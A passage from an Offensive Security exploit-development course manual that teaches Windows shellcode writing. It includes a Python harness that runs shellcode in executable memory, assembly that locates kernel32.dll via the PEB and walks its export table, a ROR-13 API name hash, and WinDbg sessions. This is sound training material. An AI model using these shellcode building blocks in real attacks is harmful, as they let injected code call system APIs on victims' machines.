We will create a Python script that executes the steps detailed above and uses the PEB technique
to retrieve the base address of kernel32.dll.
We will go through the logic of the Python code to better understand how it works. Then, we’ll
examine our shellcode’s assembly instructions.
Our code starts by importing the required libraries and defining a CODE variable which will shortly
be used to store our assembly code.
import ctypes, struct
from keystone import *

CODE = (

)
Listing 277 - Importing libraries and defining the CODE variable

Next, we’ll initialize the Keystone engine in 32-bit mode.


...
)

# Initialize engine in X86-32bit mode


ks = Ks(KS_ARCH_X86, KS_MODE_32)
Listing 278 - Initializing the Keystone engine in 32-bit mode

We can invoke the asm method to compile our instructions that we will then store in the shellcode
variable as a byte array.
...
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
Listing 279 - Compiling instructions and storing them as a byte array

216
(ctypes — A foreign function library for Python), https://docs.python.org/3/library/ctypes.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 239
Windows User Mode Exploit Development

While the .asm method will produce the opcodes for our shellcode, we would also like to test it
right away. This is where the CTypes library helps tremendously:
...
shellcode = bytearray(sh)

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
Listing 280 - find_kernel32.py: Using CTypes to call Windows APIs from Python

Once the opcodes of our shellcode are stored as a byte array, we can call VirtualAlloc217 to
allocate a memory page with PAGE_EXECUTE_READWRITE218 protections. Next, we’ll call
RtlMoveMemory219 to copy the shellcode opcodes to the newly-allocated memory page.
...
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
Listing 281 - find_kernel32.py: Stopping execution until input and then running our shellcode

The next line (Listing 281) shows a print statement followed by a Python input().220 This pauses
the execution until input is received, allowing us to attach WinDbg to the python.exe process.
Finally, we’ll call CreateThread221 to run the shellcode in a new thread.
With the functionality of the script covered, let’s start adding the assembly code for our shellcode.
import ctypes, struct
from keystone import *

217
(Microsoft - VirtualAlloc), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
218
(Microsoft - Memory Protection Constants), https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-
constants
219
(Microsoft - RtlMoveMemory), https://docs.microsoft.com/en-us/windows/win32/devnotes/rtlmovememory
220
(Python3 - input), https://docs.python.org/3/library/functions.html#input
221
(Microsoft - CreateThread),https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createthread

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 240
Windows User Mode Exploit Development

CODE = (
" start: " #
" int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN
NOT DEBUGGING!!!!
" mov ebp, esp ;" #
" sub esp, 60h ;" #
...
Listing 282 - Inspecting the start function of our shellcode

The start function of our shellcode begins with an int3 instruction, which we can leverage as a
software breakpoint to help us with the debugging process. We’ll use this to break right before our
shellcode, saving us time from printing out the allocated memory address and manually setting
the breakpoint in our debugger each time we run our script.
Following the int3 instruction, we’ll move the ESP register to EBP and then subtract a value of
0x60 from ESP. This sequence effectively emulates an actual function call in which the ESP
register is moved to EBP so that arguments passed to the function can be easily accessed. We’ll
subtract an arbitrary offset so that the stack does not get clobbered.
...
" sub esp, 60h ;" #

" find_kernel32: " #


" xor ecx, ecx ;" # ECX = 0
" mov esi,fs:[ecx+30h] ;" # ESI = &(PEB) ([FS:0x30])
" mov esi,[esi+0Ch] ;" # ESI = PEB->Ldr
" mov esi,[esi+1Ch] ;" # ESI = PEB->Ldr.InInitOrder
Listing 283 - Inspecting the find_kernel32 function of our shellcode

Our code then executes the find_kernel32 function. The first instruction sets the ECX register to
null. This register is then used with the offset 0x30 in the mov esi, fs:[ecx+0x30] instruction, which
stores the pointer to the PEB in the ESI register.
Once the ESI register contains a pointer to the PEB, we dereference it at offset 0x0C to get a
pointer to the _PEB_LDR_DATA structure and store it in ESI once again. Finally, we dereference
ESI again, this time at offset 0x1C, to get the InInitializationOrderModuleList entry.
Then we proceed to the next_module function:
...
" mov esi,[esi+1Ch] ;" # ESI = PEB->Ldr.InInitOrder

" next_module: " #


" mov ebx, [esi+8h] ;" # EBX = InInitOrder[X].base_address
" mov edi, [esi+20h] ;" # EDI = InInitOrder[X].module_name
" mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next)
" cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00?
" jne next_module ;" # No: try next module.
" ret " #
)
Listing 284 - Inspecting the next_module function of our shellcode

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 241
Windows User Mode Exploit Development

The first two instructions will move the base address of a loaded module to the EBX register and
the module name to EDI. The third instruction in this function sets ESI to the next
InInitializationOrderModuleList entry using the Flink member.
Finally, the comparison instruction that follows is arguably the most important one. Specifically,
we are comparing the WORD pointed to by edi + 12 * 2 to the CX register, which we previously set
to NULL. Simply put, we are trying to determine if we have encountered a NULL string terminator
at index 24 of the module name.
The reason for this lies in the fact that the length of the “kernel32.dll” string is 12 bytes. Because
the string is stored in UNICODE format, every character of the string will be represented as a
WORD rather than a byte, making the length 24 in Unicode. Therefore, if the WORD starting at the
25th byte is NULL, we have found a string of 12 UNICODE characters.
If the comparison fails, we’ll take a conditional jump back to next_module and proceed to check
the next entry until the comparison succeeds.
Because InInitializationOrderModuleList displays modules based on the order they were initialized,
the first module name that matches the comparison will always be kernel32.dll, as it is one of the
first to be initialized.

Until the release of Windows 7, the kernel32.dll initialization order was always
constant for all Microsoft operating systems. As a result, the initialization order
linked list was often used by shellcoders. By walking the list to the second entry,
the base address for kernel32.dll could be extracted.

This method became ineffective in Windows 7 and a more universal method222


was introduced that works on later versions of Windows as well.

Now that we understand how the shellcode works, let’s try to follow the instructions in WinDbg to
confirm that we can successfully obtain the base address of kernel32.dll.
We can run our script to execute everything until input(), where execution will stop until we press
I:
C:\Users\offsec\Desktop> python find_kernel32.py
Encoded 16 instructions...
Shellcode located at address 0x11e0000
...ENTER TO EXECUTE SHELLCODE...
Listing 285 - Running find_kernel32.py

With the script paused, let’s attach WinDbg to the python.exe process. Once attached, we’ll let the
application resume execution. Pressing in our command prompt will take us to the first
I
instruction of our shellcode (INT3).

222
(Skypher - Shellcode: finding the base address of kernel32 in Windows 7), http://www.offensive-
security.com/AWEPAPERS/Skypher.pdf

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 242
Windows User Mode Exploit Development

0:001> g
(10d0.f0c): Break instruction exception - code 80000003 (first chance)
eax=bea7140b ebx=00000000 ecx=011e0000 edx=011e0000 esi=011e0000 edi=011e0000
eip=011e0000 esp=013ffc9c ebp=013ffcac iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
011e0000 cc int 3

0:001> u @eip Ld
011e0000 cc int 3
011e0001 89e5 mov ebp,esp
011e0003 83ec60 sub esp,60h
011e0006 31c9 xor ecx,ecx
011e0008 648b7130 mov esi,dword ptr fs:[ecx+30h]
011e000c 8b760c mov esi,dword ptr [esi+0Ch]
011e000f 8b761c mov esi,dword ptr [esi+1Ch]
011e0012 8b5e08 mov ebx,dword ptr [esi+8]
011e0015 8b7e20 mov edi,dword ptr [esi+20h]
011e0018 8b36 mov esi,dword ptr [esi]
011e001a 66394f18 cmp word ptr [edi+18h],cx
011e001e 75f2 jne 011e0012
011e0020 c3 ret
Listing 286 - Reaching the beginning of our shellcode inside WinDbg

To confirm that our shellcode is running correctly, let’s set a breakpoint at the compare
instruction and resume the application flow. Once our breakpoint is hit, we’ll inspect the EBX and
EDI registers to determine the base address and name of the module present in the first
InInitializationOrderModuleList entry.
0:001> bp 011e001a

0:001> g
Breakpoint 0 hit
eax=bea7140b ebx=77020000 ecx=00000000 edx=011e0000 esi=00f11e60 edi=77026c08
eip=011e001a esp=013ffc3c ebp=013ffc9c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
011e001a 66394f18 cmp word ptr [edi+18h],cx ds:0023:77026c20=002e

0:001> r @ebx
ebx=77020000

0:001> du @edi
77026c08 "ntdll.dll"

0:001> lm m ntdll
Browse full module list
start end module name
77020000 7719a000 ntdll (pdb symbols)
c:\symbols\ntdll.pdb\FA32EA7CECAA40BA94BF296AC6F178701\ntdll.pdb
Listing 287 - Inspecting the first entry in the InInitializationOrderModuleList list

Listing 287 shows the ntdll.dll module as the first entry. Furthermore, we can confirm that the
base address gathered from the _LDR_DATA_TABLE_ENTRY_ structure is correct.
Since this module is not the one we are looking for, the conditional jump will be taken, causing us
to loop over the entries until we find the entry for the kernel32.dll module.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 243
Windows User Mode Exploit Development

We can remove all breakpoints to speed up the process and execute the WinDbg pt command,
which will allow the execution to continue until the next return instruction. This is the last
instruction in our shellcode that will be executed if the conditional jump is not taken.
0:001> bc *

0:001> bl

0:001> pt
eax=bea7140b ebx=76e40000 ecx=00000000 edx=011e0000 esi=00f17930 edi=00f11c90
eip=011e0020 esp=013ffc3c ebp=013ffc9c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
011e0020 c3 ret

0:001> r @ebx
ebx=76e40000

0:001> du @edi
00f11c90 "KERNEL32.DLL"

0:001> lm m kernel32
Browse full module list
start end module name
76e40000 76ed5000 KERNEL32 (pdb symbols)
c:\symbols\kernel32.pdb\F8E18714F7AC4AD1AC00CC0C6D41DD991\kernel32.pdb
Listing 288 - Obtaining the base address of kernel32.dll

Excellent! Listing 288 shows that our shellcode successfully obtained the base address of
kernel32.dll by parsing the InInitializationOrderModuleList doubly-linked list.

7.3.2.1 Exercises
1. Take the time to observe how the InInitializationOrderModuleList doubly-linked list works in
memory.
2. Execute find_kernel32.py on your dedicated Windows 10 machine.
3. Attach WinDbg to python.exe and follow the shellcode execution flow.
4. Follow the shellcode instructions and, using the same memory addresses as the shellcode,
dump the structures it is accessing inside WinDbg.

7.4 Resolving Symbols


Finding the base address of kernel32.dll is a good first step, but our shellcode will crash if we
continue to execute assembly instructions after the return. This crash occurs because we are not
doing anything to cleanly exit our shellcode.
With the address of kernel32.dll gathered, our next step is to resolve various APIs that are
exported by the module. We’ll start by dynamically resolving the address of TerminateProcess223

223
(Microsoft - Terminate Process), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
terminateprocess

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 244
Windows User Mode Exploit Development

using the Export Directory Table. Once resolved, the API will enable us to cleanly terminate our
shellcode.
Previously, we mentioned that kernel32.dll exports APIs such as GetProcAddress, which will allow
us to locate various exported functions. The issue is that GetProcAddress also needs to be
located before it can be used. Rather than relying on this API, most shellcodes will use an
equivalent to GetProcAddress, which can be achieved by traversing the Export Address Table
(EAT) of a DLL loaded in memory. To gather a module’s EAT address, we first need to acquire the
base address of the selected DLL.

7.4.1 Export Directory Table


The most reliable way to resolve symbols from kernel32.dll (and other DLLs) is by using the
Export Directory Table method.

In this case, the term “symbols” refers to the function names and their starting
memory addresses.

Generally, DLLs that export functions have an export directory table that contains important
information about symbols such as:
• Number of exported symbols.
• Relative Virtual Address (RVA) of the export-functions array.
• RVA of the export-names array.
• RVA of the export-ordinals array.
The Export Directory Table structure224 contains additional fields, as illustrated below:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions;
DWORD AddressOfNames;
DWORD AddressOfNameOrdinals;
}
Listing 289 - The Export Directory Table data structure (IMAGE_EXPORT_DIRECTORY)

The one-to-one relationship between the AddressOfFunctions, AddressOfNames, and


AddressOfNameOrdinals arrays, which we will cover shortly, is essential for symbol resolution.

224
(ReactOS - _IMAGE_EXPORT_DIRECTORY Struct Reference),
https://doxygen.reactos.org/d5/db1/dll_2win32_2dbghelp_2compat_8h_source.html#l00145

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 245
Windows User Mode Exploit Development

To resolve a symbol by name, let’s begin with the AddressOfNames array. Every name will have a
unique entry and index in the array. Once we have found the name of the symbol we are looking
for at index i in the AddressOfNames array, we can use the same index i in the
AddressOfNameOrdinals array.
The diagram below provides a graphical example of how this works. We’ll cover the specific
assembly code shortly.

Figure 67: EAT function VMA

The entry from the AddressOfNameOrdinals array at index i will contain a value, which will serve
as a new index that we will use in the AddressOfFunctions array. At this new index, we will find the
relative virtual memory address of the function. We can translate this address into a fully-
functional Virtual Memory Address (VMA) by adding the base address of the DLL to it.
Since the size of our shellcode is just as important as its portability, we need to optimize the
search algorithm for our required symbol names. To do that, we will use a very particular hashing
function that transforms a string into a four byte hash. This method will allow us to reuse the
assembly instructions for any given symbol name.

While we could find alternative methods to parse the AddressOfNames array and
search for our function, such as checking the string length and comparing
various parts of the symbol, this method is not scalable for a real-world shellcode
where we need to call multiple APIs.

This algorithm produces the same result obtained by the GetProcAddress function mentioned
earlier and can be used for every DLL. In fact, once the LoadLibraryA symbol has been resolved,
we can load arbitrary modules and locate the functions needed to build our custom shellcode
without using GetProcAddress.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 246
Windows User Mode Exploit Development

7.4.1.1 Exercise
1. Review the theory of this section and ensure that you understand the relation between the
three arrays used by the Export Directory Table. You can use the footnotes from this section
to get a more in-depth view of the structures and offsets used.

7.4.2 Working with the Export Names Array


Now that we have covered the relationship between the three arrays in the Export Directory Table
(EDT), let’s observe how our shellcode will parse it to dynamically resolve symbols.
The Export Directory Table structure fields contain relative addresses. To obtain the virtual
memory address, our shellcode will often add the kernel32.dll base address to the RVA, which is
currently stored in the EBX register. Let’s examine the technique by analyzing the ASM code
chunk by chunk:
import ctypes, struct
from keystone import *

CODE = (
" start: " #
" int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN
NOT DEBUGGING!!!!
" mov ebp, esp ;" #
" sub esp, 0x200 ;" #
" call find_kernel32 ;" #
" call find_function ;" #

" find_kernel32: " #


" xor ecx, ecx ;" # ECX = 0
...
" find_function: " #
" pushad ;" # Save all registers
# Base address of kernel32 is in EBX
from
# Previous step (find_kernel32)
" mov eax, [ebx+0x3c] ;" # Offset to PE Signature
" mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA
" add edi, ebx ;" # Export Table Directory VMA
" mov ecx, [edi+0x18] ;" # NumberOfNames
" mov eax, [edi+0x20] ;" # AddressOfNames RVA
" add eax, ebx ;" # AddressOfNames VMA
" mov [ebp-4], eax ;" # Save AddressOfNames VMA for later

" find_function_loop: " #


" jecxz find_function_finished ;" # Jump to the end if ECX is 0
" dec ecx ;" # Decrement our names counter
" mov eax, [ebp-4] ;" # Restore AddressOfNames VMA
" mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name
" add esi, ebx ;" # Set ESI to the VMA of the current
symbol name

" find_function_finished: " #


" popad ;" # Restore registers

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 247
Windows User Mode Exploit Development

" ret ;" #


...
Listing 290 - resolving_symbols_0x01.py: Finding the Export Directory Table and AddressOfNames VMAs

We have modified the start function to accommodate additional space needed to prevent
clobbering of the stack. The instructions required to find the base address of kernel32.dll have
been encapsulated into the find_kernel32 function. Additionally, we have introduced three new
functions called find_function, find_function_loop and find_function_finished which are going to be
responsible for finding the symbols we require.
Once we have found the kernel32 base address, we can execute find_function, which first saves
all the register values on the stack using PUSHAD. This will allow us to restore these values
cleanly later on, even if our ASM code clobbers the register values during its execution.
The next step is to store the value pointed to by the EBX register (which holds the base address of
kernel32.dll) at offset 0x3C in EAX. We know from previous modules that at this offset from the
beginning of a PE (MS-DOS header) is the offset to the PE header.225
The following instruction uses the value stored previously in EAX, adds it to the base address of
kernel32.dll along with a static offset of 0x78, and stores the dereferenced value in EDI. We are
using the 0x78 offset from the PE header because this is the location where we can find the RVA
of the Export Directory Table.
This address is then converted into a VMA by adding it to the base address of kernel32.dll using
the ADD instruction. Let’s review the relevant instructions for these steps below:
" find_function: " #
" pushad ;" # Save all registers
# Base address of kernel32 is in EBX
from
# Previous step (find_kernel32)
" mov eax, [ebx+0x3c] ;" # Offset to PE Signature
" mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA
" add edi, ebx ;" # Export Table Directory VMA
...
Listing 291 - Obtaining the Export Directory Table

EDI now contains the virtual memory address of our Export Directory Table. With this in mind, let’s
move to the next instructions:
" mov ecx, [edi+0x18] ;" # NumberOfNames
" mov eax, [edi+0x20] ;" # AddressOfNames RVA
" add eax, ebx ;" # AddressOfNames VMA
" mov [ebp-4], eax ;" # Save AddressOfNames VMA for later
Listing 292 - Obtaining the AddressOfNames array

We’ll store the value pointed to by EDI and a static offset of 0x18 into ECX. This is the offset226 to
the NumberOfNames field. As the name suggests, this field contains the number of exported
symbols.

225
(PE-Portable-executable), https://www.aldeid.com/wiki/PE-Portable-executable
226
(aldeid - PE-Portable-executable), https://www.aldeid.com/wiki/PE-Portable-executable#Export_Table

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 248
Windows User Mode Exploit Development

This allows us to use the value now stored in ECX as a counter to parse the AddressOfNames
array.
Let’s continue going through the assembly instructions. We’ll move the value pointed to by EDI
and the static offset of 0x20, which corresponds to the AddressOfNames field, into EAX. Since
this is a RVA, we’ll add the base address of kernel32.dll to it in order to obtain the VMA of the
AddressOfNames array.
The final instruction in find_function stores the AddressOfNames VMA at an arbitrary offset from
EBP. Currently, EBP contains a pointer to the stack, thanks to the mov ebp, esp instruction at the
beginning of our shellcode.
Our code then reaches the find_function_loop function, which begins with a conditional jump
based on the value of ECX. This jump will be taken if ECX, which holds the number of exported
symbols, is NULL. If that happens, it means that we have reached the end of the array without
finding our symbol name. The ASM code can be reviewed below:
" find_function_loop: " #
" jecxz find_function_finished ;" # Jump to the end if ECX is 0
" dec ecx ;" # Decrement our names counter
" mov eax, [ebp-4] ;" # Restore AddressOfNames VMA
" mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name
" add esi, ebx ;" # Set ESI to the VMA of the current
symbol name
Listing 293 - Obtaining the symbol name in ESI

If the ECX register is not NULL, we’ll decrement our counter (ECX) and retrieve the previously-
saved AddressOfNames virtual memory address. We can use the counter ECX as an index to the
AddressOfNames array and multiply it by four, because each entry in the array is a DWORD. Next,
we’ll save the RVA of the symbol name in ESI. Finally, we can obtain the VMA of the symbol name
by adding the base address of kernel32.dll to the ESI register.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 249
Windows User Mode Exploit Development

Figure 68: Find function logic

With the logic of our assembly code addressed, let’s run our updated shellcode and try to follow it
inside WinDbg. Once we reach our INT3 instruction, we’ll attempt to manually gather the RVA of
the Export Directory Table to verify that our shellcode is working as expected.
We can begin by gathering the offset to the start of the PE header from the beginning of the
module, as follows:
0:002> g
(6b8.594): Break instruction exception - code 80000003 (first chance)
eax=055812f2 ebx=00000000 ecx=011e0000 edx=011e0000 esi=011e0000 edi=011e0000
eip=011e0000 esp=022bfe04 ebp=022bfe14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
011e0000 cc int 3

0:002> lm m kernel32
Browse full module list
start end module name
76e40000 76ed5000 KERNEL32 (pdb symbols)
c:\symbols\kernel32.pdb\F8E18714F7AC4AD1AC00CC0C6D41DD991\kernel32.pdb

0:002> dt ntdll!_IMAGE_DOS_HEADER 0x76e40000


+0x000 e_magic : 0x5a4d
+0x002 e_cblp : 0x90
...
+0x03c e_lfanew : 0n248

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 250
Windows User Mode Exploit Development

0:002> ? 0n248
Evaluate expression: 248 = 000000f8
Listing 294 - Dumping the IMAGE_DOS_HEADER structure to obtain the offset to the PE header

According to the output from Listing 294, the PE header can be found at offset 0xF8. Reviewing
the PE header structure (_IMAGE_NT_HEADERS), we’ll notice the IMAGE_OPTIONAL_HEADER
structure at offset 0x18:
0:002> dt ntdll!_IMAGE_NT_HEADERS 0x76e40000 + 0xf8
+0x000 Signature : 0x4550
+0x004 FileHeader : _IMAGE_FILE_HEADER
+0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER
Listing 295 - Dumping the _IMAGE_NT_HEADERS structure

The _IMAGE_OPTIONAL_HEADER structure contains another structure named


_IMAGE_DATA_DIRECTORY227 at offset 0x60:
0:002> dt ntdll!_IMAGE_OPTIONAL_HEADER 0x76e40000 + 0xf8 + 0x18
+0x000 Magic : 0x10b
+0x002 MajorLinkerVersion : 0xc ''
+0x003 MinorLinkerVersion : 0xa ''
...
+0x05c NumberOfRvaAndSizes : 0x10
+0x060 DataDirectory : [16] _IMAGE_DATA_DIRECTORY
Listing 296 - Dumping the _IMAGE_OPTIONAL_HEADER structure

According to the output from Listing 296, the DataDirectory is an array of length 16. Each entry in
this array is an _IMAGE_DATA_DIRECTORY structure.
We can examine the _IMAGE_DATA_DIRECTORY structure prototype to discover that it is
comprised of two DWORD fields, resulting in the structure’s 0x08 size:
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
Listing 297 - Prototype of the _IMAGE_DATA_DIRECTORY structure

We’ll find the _IMAGE_OPTIONAL_HEADER structure at offset 0x18 from the PE header. At offset
0x60 from that, we’ll locate the first entry in the DataDirectory array, which holds information
about the Export Directory Table. This information confirms that the shellcode uses the correct
offset to fetch the EDT, 0x78.

Even though the structure field is named VirtualAddress, this field contains the
relative virtual address.

227
(Microsoft - IMAGE_DATA_DIRECTORY structure), https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-
image_data_directory

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 251
Windows User Mode Exploit Development

Let’s manually dump the structure inside WinDbg and get the RVA for the Export Directory Table.
We can also use the display header (!dh)228 command in WinDbg, along with file headers
argument (-f) to dump all the file header information.
0:002> dt ntdll!_IMAGE_DATA_DIRECTORY 0x76e40000 + 0xf8 + 0x78
+0x000 VirtualAddress : 0x75940
+0x004 Size : 0xd1c0

0:002> !dh -f kernel32

File Type: DLL


FILE HEADER VALUES
14C machine (i386)
6 number of sections
57CF8F7A time date stamp Tue Sep 6 20:54:34 2016

0 file pointer to symbol table


0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL

OPTIONAL HEADER VALUES


10B magic #
12.10 linker version
82000 size of code
12000 size of initialized data
0 size of uninitialized data
1DF30 address of entry point
1000 base of code
...
4140 DLL characteristics
Dynamic base
NX compatible
Guard
75940 [ D1C0] address [size] of Export Directory
85354 [ 4EC] address [size] of Import Directory
...
Listing 298 - Getting the RVA of the EDT manually and using !dh

We have obtained the relative virtual address for the Export Directory Table, so let’s determine if
our shellcode retrieves the same value. We can single-step through the shellcode instructions
inside WinDbg and check the value of EDI before adding the kernel32.dll base address to it.
0:002> t
eax=000000f8 ebx=76e40000 ecx=00000000 edx=011e0000 esi=008178a0 edi=00811ca8
eip=011e0032 esp=022bfbe0 ebp=022bfe04 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
011e0032 8b7c0378 mov edi,dword ptr [ebx+eax+78h] ds:0023:76e40170=00075940

228
(Microsoft - WinDbg (!dh)), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-dh

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 252
Windows User Mode Exploit Development

0:002> t
eax=000000f8 ebx=76e40000 ecx=00000000 edx=011e0000 esi=008178a0 edi=00075940
eip=011e0036 esp=022bfbe0 ebp=022bfe04 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
011e0036 01df add edi,ebx

0:002> r edi
edi=00075940
Listing 299 - Getting the RVA of the EDT through our shellcode

Excellent! Our shellcode gathered the correct relative virtual address of the Export Directory Table.
Let’s continue to single step through the instructions. When we reach the find_function_finished
function, we will inspect ESI, which should point to the last symbol name exported by kernel32.dll,
as shown below:
0:002> r
eax=76eb71ec ebx=76e40000 ecx=00000620 edx=011e0000 esi=76ec2af4 edi=76eb5940
eip=011e004e esp=022bfbe0 ebp=022bfe04 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
011e004e 61 popad

0:002> da esi
76ec2af4 "timeGetTime"
Listing 300 - Getting the last symbol name exported by kernel32.dll

So far our shellcode has successfully obtained the base address of kernel32.dll as well as the
Export Directory Table and ArrayOfNames array. We can now proceed to determine a method that
will allow us to parse the exported symbol names.

7.4.2.1 Exercises
1. Update the previous shellcode to include the assembly instructions to fetch the Export
Directory Table and the ArrayOfNames array, as well as the last exported symbol name from
kernel32.dll.
2. Inside WinDbg, manually fetch the RVA of the Export Directory Table and confirm it using the
display header (!dh) command.
3. Single step through the updated shellcode instructions inside the debugger and verify that
the RVA of the Export Directory Table is correct.
4. Continue executing the shellcode and identify the first exported symbol name.

7.4.3 Computing Function Name Hashes


After obtaining the address to the ArrayOfNames array, we’re ready to parse it for the symbol we
are interested in, namely TerminateProcess in this case.
As mentioned earlier, we’ll use a hashing algorithm to search for this symbol in the array, rather
than the string length or various parts of the symbol name.
This algorithm produces the same result obtained by the GetProcAddress function mentioned
earlier, and can be used for every DLL.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 253
Windows User Mode Exploit Development

The hashing algorithm, typically found in most modern shellcodes, converts any string into a
DWORD. This allows us to re-use the function for any given symbol we want. Over the years this
algorithm has been shown to be collision-free, meaning that each string will generate a unique
DWORD.
Let’s examine the hashing algorithm one instruction at a time. The final step in our current
shellcode fetches the first entry in ArrayOfNames and converts the RVA to a VMA with the ESI
register pointing to the symbol name. Following that, we introduce three new functions, as shown
below.
" compute_hash: " #
" xor eax, eax ;" # NULL EAX
" cdq ;" # NULL EDX
" cld ;" # Clear direction

" compute_hash_again: " #


" lodsb ;" # Load the next byte from esi into al
" test al, al ;" # Check for NULL terminator
" jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL
term
" ror edx, 0x0d ;" # Rotate edx 13 bits to the right
" add edx, eax ;" # Add the new byte to the accumulator
" jmp compute_hash_again ;" # Next iteration

" compute_hash_finished: " #


Listing 301 - resolving_symbols_0x02.py: Hash Routines to Compute Function Names

The compute_hash function starts with an XOR operation, which sets the EAX register to NULL.
This instruction is followed by the CDQ229 instruction, which uses the NULL value in EAX to set
EDX to NULL as well.
The last instruction of this function is CLD,230 which clears the direction flag (DF) in the EFLAGS
register. Executing this instruction will cause all string operations to increment the index registers,
which are ESI (where our symbol name is stored) and/or EDI.
We then reach the compute_hash_again function that starts with a LODSB231 instruction. This
instruction will load a byte from the memory pointed to by ESI into the AL register and then
automatically increment or decrement the register according to the DF flag.
This is followed by a TEST instruction using the AL register as both operands. If AL is NULL, we
will take the JZ conditional jump to the compute_hash_finished. This function doesn’t contain any
instructions and is used as an indicator that we have reached the end of our symbol name.
If AL is not NULL, we’ll arrive at a ROR232 bit-wise operation. This assembly instruction rotates the
bits of the first operand to the right by the number of bit positions specified in the second
operand. In our case, EDX is rotated right by 0x0D bits.

229
(Faydoc - CDQ), http://faydoc.tripod.com/cpu/cdq.htm
230
(Faydoc - CLD), http://faydoc.tripod.com/cpu/cld.htm
231
(Faydoc - ROR), http://faydoc.tripod.com/cpu/ror.htm
232
(Faydoc - ROR), http://faydoc.tripod.com/cpu/ror.htm

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 254
Windows User Mode Exploit Development

To get a better understanding of how the rotate bits right instruction works, let’s try it out inside
WinDbg. We will set EAX to a value we desire and execute a ror eax, 0x01 instruction. After we
execute the instruction, we can view the result of the operation.
We will use the assemble (a) command followed by the EIP register as the argument to place the
ROR instruction right at the memory address where EIP is pointing to. Next, we can type the
assembly instruction we wish to assemble, and after pressing twice, the instruction will be
I
placed in memory.
0:002> r @eax=0x41

0:002> a @eip
02630000 ror eax, 0x01
ror eax, 0x01
02630002

0:002> .formats @eax


Evaluate expression:
Hex: 00000041
Decimal: 65
Octal: 00000000101
Binary: 00000000 00000000 00000000 01000001
Chars: ...A
Time: Wed Dec 31 16:01:05 1969
Float: low 9.10844e-044 high 0
Double: 3.21143e-322

0:002> t
eax=80000020 ebx=00000000 ecx=02630000 edx=02630000 esi=02630000 edi=02630000
eip=02630002 esp=0282f9fc ebp=0282fa0c iopl=0 ov up ei pl zr na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a47
02630002 e581 in eax,81h

0:002> .formats @eax


Evaluate expression:
Hex: 80000020
Decimal: -2147483616
Octal: 20000000040
Binary: 10000000 00000000 00000000 00100000
Chars: ...
Time: ***** Invalid
